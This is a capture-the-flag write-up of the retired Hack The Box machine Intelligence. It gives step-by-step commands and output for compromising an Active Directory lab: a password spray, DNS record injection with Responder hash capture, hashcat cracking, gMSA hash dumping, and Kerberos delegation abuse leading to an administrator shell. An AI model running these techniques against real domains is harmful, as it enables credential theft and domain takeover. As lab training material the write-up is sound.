HTB Image here

This machine is classified as Medium difficulty by Micah but may seem hard as it takes tons of enumeration against a domain controller with a webserver running. On the webserver, we will find a documents uploads folder, using its naming convention; we will brute for each and every uploaded document as their meta data contains usernames which eventually leads to getting a default password. We will password spray with the enumerated users and find one valid user. From there, we find a PowerShell script that runs every five minutes, requesting to each DNS in the Active Directory environment; we will add ourselves as a server, and sniff with Responder for the NTLM hash. Once we get and crack the hash. We’ll find that our account has control over service accounts’ GMSA password and can delegate on the domain; we will exploit these relations to get Domain Admin.

OS Difficulty IP Address Status
Windows Medium 10.10.10.248 Retired

Phase 1 - Enumeration

Nmap

One look at the Nmap results and we can tell right away that its a Windows Server machine.

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-11-04 15:33:11Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2021-11-04T15:34:44+00:00; +7h20m01s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-11-04T15:34:44+00:00; +7h20m01s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-11-04T15:34:44+00:00; +7h20m01s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2021-11-04T15:34:44+00:00; +7h20m01s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
54337/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Port 80

Scrolling down, we find that we are able to download PDFs:

/document

http://10.10.10.248/documents/2020-01-01-upload.pdf
http://10.10.10.248/documents/2020-12-15-upload.pdf

Extracting metadata

When we downloaded the two PDFs and used exiftool to see the metadata embedded in the PDF, we get Creators; which are potential usernames.

┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ exiftool *.pdf
======== 2020-01-01-upload.pdf
ExifTool Version Number         : 12.32
File Name                       : 2020-01-01-upload.pdf
Directory                       : .
File Size                       : 26 KiB
File Modification Date/Time     : 2021:04:01 13:00:00-04:00
File Access Date/Time           : 2021:11:04 05:23:35-04:00
File Inode Change Date/Time     : 2021:11:04 05:23:35-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 1
Creator                         : William.Lee
======== 2020-12-15-upload.pdf
ExifTool Version Number         : 12.32
File Name                       : 2020-12-15-upload.pdf
Directory                       : .
File Size                       : 27 KiB
File Modification Date/Time     : 2021:04:01 13:00:00-04:00
File Access Date/Time           : 2021:11:04 05:23:48-04:00
File Inode Change Date/Time     : 2021:11:04 05:23:48-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 1
Creator                         : Jose.Williams
    2 image files read

And we get two potential usernames:

William.Lee
Jose.Williams

Brute Forcing the Naming Convention

We can assume from the PDF links that the format of file uploads is as follows:

YEAR-MONTH-DATE-upload.pdf

Let’s create two wordlists to fuzz the URL; one will be days, the other months and for year we can do it manually:

┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ seq -f "%02g" 1 31 > days.lst; seq -f "%02g" 1 12 > months.lst

NOTE: In the original URL, there are leading zeros with the single digits, so -f "%02g" will add a leading zero on each single digit.

Now let’s FUZZ:

┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ wfuzz -c -w months.lst -w days.lst --hl 29 -u http://10.10.10.248/documents/2020-FUZZ-FUZ2Z-upload.pdf -o valid_date.txt

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.248/documents/2020-FUZZ-FUZ2Z-upload.pdf
Total requests: 372

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                     
=====================================================================

000000020:   200        126 L    565 W      11018 Ch    "01 - 20"                 
000000023:   200        135 L    586 W      10972 Ch    "01 - 23"                 
000000001:   200        208 L    1172 W     25532 Ch    "01 - 01"                 
000000002:   200        198 L    1140 W     25596 Ch    "01 - 02"                 
000000004:   200        195 L    1171 W     26086 Ch    "01 - 04"                 
000000010:   200        204 L    1130 W     25159 Ch    "01 - 10"                 
000000025:   200        192 L    1068 W     24926 Ch    "01 - 25"                 
000000022:   200        223 L    1210 W     27246 Ch    "01 - 22" 
[output too long]

Let’s download each PDF using the above found dates, and extract the metadata to get potential usernames:

┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ for i in $(cat valid_dates.txt); do wget -i http://10.10.10.248/documents/2020-$i-upload.pdf; done

┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ exiftool *.pdf | grep Creator | awk '{print $3}' > usernames.lst
William.Lee 
Scott.Scott   
Jason.Wright
Veronica.Patel   
Jennifer.Thomas
Danny.Matthews
David.Reed 
[output too long]

And we find one PDF containing a default password: defpass

Phase 2 - Exploitation

Enumerating User’s SMB

Since we have a default password of ‘NewIntelligenceCorpUser9876’ and a list of usernames; we can password spray each username with the default password to see if anyone did not change the default password:

crackmapexec smb 10.10.10.248 -u usernames.lst -p "NewIntelligenceCorpUser9876" 

...[snip]...

SMB         10.10.10.248    445    DC               [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

And we find one successful login attempt with the username Tiffany.Molina and since SMB was opened on the Nmap port scan results; let’s try SMB login and see what we find.

┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ smbmap -H 10.10.10.248 -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876'                                                                                                                   
[+] IP: 10.10.10.248:445        Name: dc.intelligence.htb                               
        Disk                 Permissions     Comment
        ----                 -----------     -------
        ADMIN$               NO ACCESS       Remote Admin
        C$                   NO ACCESS       Default share
        IPC$                 READ ONLY       Remote IPC
        IT                   READ ONLY
        NETLOGON             READ ONLY       Logon server share 
        SYSVOL               READ ONLY       Logon server share 
        Users                READ ONLY

We can see we have two shares out of the ordinary: (i) IT (ii) Users Let’s go into them and see what’s inside:

┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ smbclient //10.10.10.248/IT -U Tiffany.Molina                                                                                               
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Apr 18 20:50:55 2021
  ..                                  D        0  Sun Apr 18 20:50:55 2021
  downdetector.ps1                    A     1046  Sun Apr 18 20:50:55 2021

                3770367 blocks of size 4096. 1460533 blocks available
smb: \> get downdetector.ps1 
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)

And we can find user.txt in Users share

┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ smbclient //10.10.10.248/Users -U Tiffany.Molina                                                                                                                                                                   
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> pwd
Current directory is \\10.10.10.248\Users\
smb: \> get Tiffany.Molina\Desktop\user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as Tiffany.Molina\Desktop\user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

Phase 3 - Privilege Escalation

Scheduled Task

Analyzing the below PowerShell code, it looks like, for each DNS record in the AD environment, and the author added a wildcard for the Where-Object to find web* which will run every 5 minutes.

downdetector.ps1

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <[email protected]>' -To 'Ted Graves <[email protected]>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

Unconstrained Delegation Abuse

Since we have valid credentials, let’s use DNSTool.py from the Toolkit for abusing unconstrained delegation to add our IP address as a server on the victim’s machine.

┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'weboops.intelligence.htb' -d 10.10.14.7 10.10.10.248

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
/home/kali/CTF/HTB/machines/intelligence/dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
  res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully

Responder for Hashes

Also, run Responder to listen for hashes!

┌──(kali㉿kali)-[~/…/HTB/machines/intelligence/pdfs]
└─$ sudo responder -I tun0 -A

..[snip]..

[+] Listening for events...

[HTTP] NTLMv2 Client   : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:f4546225e4dbc5a8:85C7F72D0214A9C593E5B314AE1A3BDF:0101000000000000DAA782A2ADD1D7017200EB459F4D78B700000000020008004F00570041004F0001001E00570049004E002D005900340052005300530036005A005200430034003000040014004F00570041004F002E004C004F00430041004C0003003400570049004E002D005900340052005300530036005A0052004300340030002E004F00570041004F002E004C004F00430041004C00050014004F00570041004F002E004C004F00430041004C00080030003000000000000000000000000020000013FFE3E24A26B5D085CAA319719B3EB449028060A8EB1DF576C470C61A9EB7B80A0010000000000000000000000000000000000009003A0048005400540050002F007700650062006F006F00700073002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

Cracking the hash with hashcat.

┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ hashcat -m 5600 hash.es /usr/share/wordlists/rockyou.txt -o cracked.txt

┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ cat cracked.txt                                                                                                                             
TED.GRAVES::intelligence:f4546225e4dbc5a8:85c7f72d0214a9c593e5b314ae1a3bdf:0101000000000000daa782a2add1d7017200eb459f4d78b700000000020008004f00570041004f0001001e00570049004e002d005900340052005300530036005a005200430034003000040014004f00570041004f002e004c004f00430041004c0003003400570049004e002d005900340052005300530036005a0052004300340030002e004f00570041004f002e004c004f00430041004c00050014004f00570041004f002e004c004f00430041004c00080030003000000000000000000000000020000013ffe3e24a26b5d085caa319719b3eb449028060a8eb1df576c470c61a9eb7b80a0010000000000000000000000000000000000009003a0048005400540050002f007700650062006f006f00700073002e0069006e00740065006c006c006900670065006e00630065002e006800740062000000000000000000:Mr.Teddy

GMSA Password

Group Manage Service Accounts (GMSA) provides additional security to service accounts. We will use a Python tool for extracting GMSA passwords, gMSADumper, was written by the author of Intelligence, Micah.

┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb                                                                         
Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::c699eaac79b69357d9dabee3379547e6

Abusing Kerberos

Since we got the GMSA password, and we are about to do some Kerberos stuff which will need synced timing; let’s sync up our time with the server’s time:

┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ sudo ntpdate 10.10.10.248                                                                                                                   
{"time":"2021-11-04T15:06:43.250699-0400","offset":26399.579924,"precision":0.115865,"host":"10.10.10.248","ip":"10.10.10.248","stratum":1,"leap":"no-leap","adjusted":true}
CLOCK: time stepped by 26399.579924

This post from OnSecurity gives the steps to request a forged ticket from the delegated service. We’ll use getST.py from Impacket to craft and generate a ticket.

┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ impacket-getST intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :c699eaac79b69357d9dabee3379547e6  -impersonate administrator intelligence.htb/svc_int
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache

Shell as Administrator

We’ll first add the cached ticket to a variable used by Impacket’s wmiexec.py and then try to login.

┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ export KRB5CCNAME=administrator.ccache 

┌──(kali㉿kali)-[~/CTF/HTB/machines/intelligence]
└─$ wmiexec.py -k  -no-pass [email protected]
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used 
[!] Launching semi-interactive shell - Careful what you execute 
[!] Press help for extra shell commands 
C:\>whoami  
intelligence\administrator

And we are in as Administrator!